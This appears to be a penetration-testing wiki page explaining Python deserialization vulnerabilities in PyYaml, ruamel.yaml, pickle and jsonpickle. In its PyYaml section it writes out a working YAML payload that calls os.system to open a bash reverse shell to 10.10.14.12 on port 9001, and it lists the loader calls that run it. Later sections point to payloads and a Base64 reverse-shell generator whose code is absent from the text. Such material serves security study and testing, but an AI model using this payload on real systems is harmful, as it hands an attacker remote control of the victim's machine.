Python Deserialization
Theory
Python's built-in serialization modules, such as pickle and cPickle, PyYaml, are commonly used for serializing and deserializing data. However, if the deserialization process is not properly secured, it can be exploited by attackers to execute arbitrary code or perform other malicious activities.
Practice
PyYaml Deserialization
Since PyYaml version 5.4, the default loader for load has been switched to SafeLoader mitigating the risks against Remote Code Execution.
The vulnerable sinks are now:
import yaml
from yaml import Loader, UnsafeLoader
data = b'!!python/object/new:os.system ["bash -c \'bash -i >& /dev/tcp/10.10.14.12/9001 0>&1\'"]'
yaml.load(data, Loader=UnsafeLoader)
yaml.load(data, Loader=Loader)
yaml.unsafe_load(data)On PyYaml versions >= 5.1 (and inferior to 5.4) we can use following functions
import yaml
from yaml import Loader, UnsafeLoader, FullLoader
data = b'!!python/object/new:os.system ["bash -c \'bash -i >& /dev/tcp/10.10.14.12/9001 0>&1\'"]'
yaml.load(data) #works under certain conditions
yaml.load(data, Loader=Loader)
yaml.load(data, Loader=UnsafeLoader)
yaml.load(data, Loader=FullLoader)
yaml.load_all(data) #works under certain conditions
yaml.load_all(data, Loader=Loader)
yaml.load_all(data, Loader=UnsafeLoader)
yaml.load_all(data, Loader=FullLoader)
yaml.full_load(data)
yaml.full_load_all(data)
yaml.unsafe_load(data)
yaml.unsafe_load_all(data)On PyYaml versions inferior to 5.1 we can use following functions
If we controll some variables passed to this vulnerables functions, we can inject arbitrary code. here are example of some payloads:
The tool Peas can be used to generate payloads. It create serialized payload for deserialization RCE attack on python driven applications where pickle ,pyYAML, ruamel.yaml or jsonpickle module is used for deserialization of serialized data.
Ruamel.yaml Deserialization
To deserialize in ruamel.yaml , following methods are vulnerable to arbitrary code execution:
If we controll some variables passed to a vulnerable functions, we can inject arbitrary code. here are example of some payloads:
The tool Peas can be used to generate payloads. It create serialized payload for deserialization RCE attack on python driven applications where pickle ,pyYAML, ruamel.yaml or jsonpickle module is used for deserialization of serialized data.
Pickle/cPickle Deserialization
The python pickle and cPickle (implementation of Pickle in C) modules, that serializes and deserializes a Python object, are vulnerables to remote code execution. If the website uses this modules, we may be able to execute arbitrary code.
With Pickle deserialization ,the following code is vulnerable to arbitrary code execution using the pickle.load() function without proper sanitization of the input.
You may run the below Python script to generate a payload for a reverse shell.
Run this script to generate the Base64 payload.
Now, copy the output base64 string and paste it in the vulnerable input
The tool Peas can be used to generate payloads. It create serialized payload for deserialization RCE attack on python driven applications where pickle ,pyYAML, ruamel.yaml or jsonpickle module is used for deserialization of serialized data.
Jsonpickle Deserialization
Jsonpickle is a python library for serializing any arbitrary object graph into JSON.
With jsonPickle deserialization ,the following code is vulnerable to arbitrary code execution using the jsonpickle.decode() function without proper sanitization of the input.
If we controll some variables passed to the vulnerable function, we can inject arbitrary code. here are example of some payloads:
The tool Peas can be used to generate payloads. It create serialized payload for deserialization RCE attack on python driven applications where pickle ,pyYAML, ruamel.yaml or jsonpickle module is used for deserialization of serialized data.
References
Last updated
Was this helpful?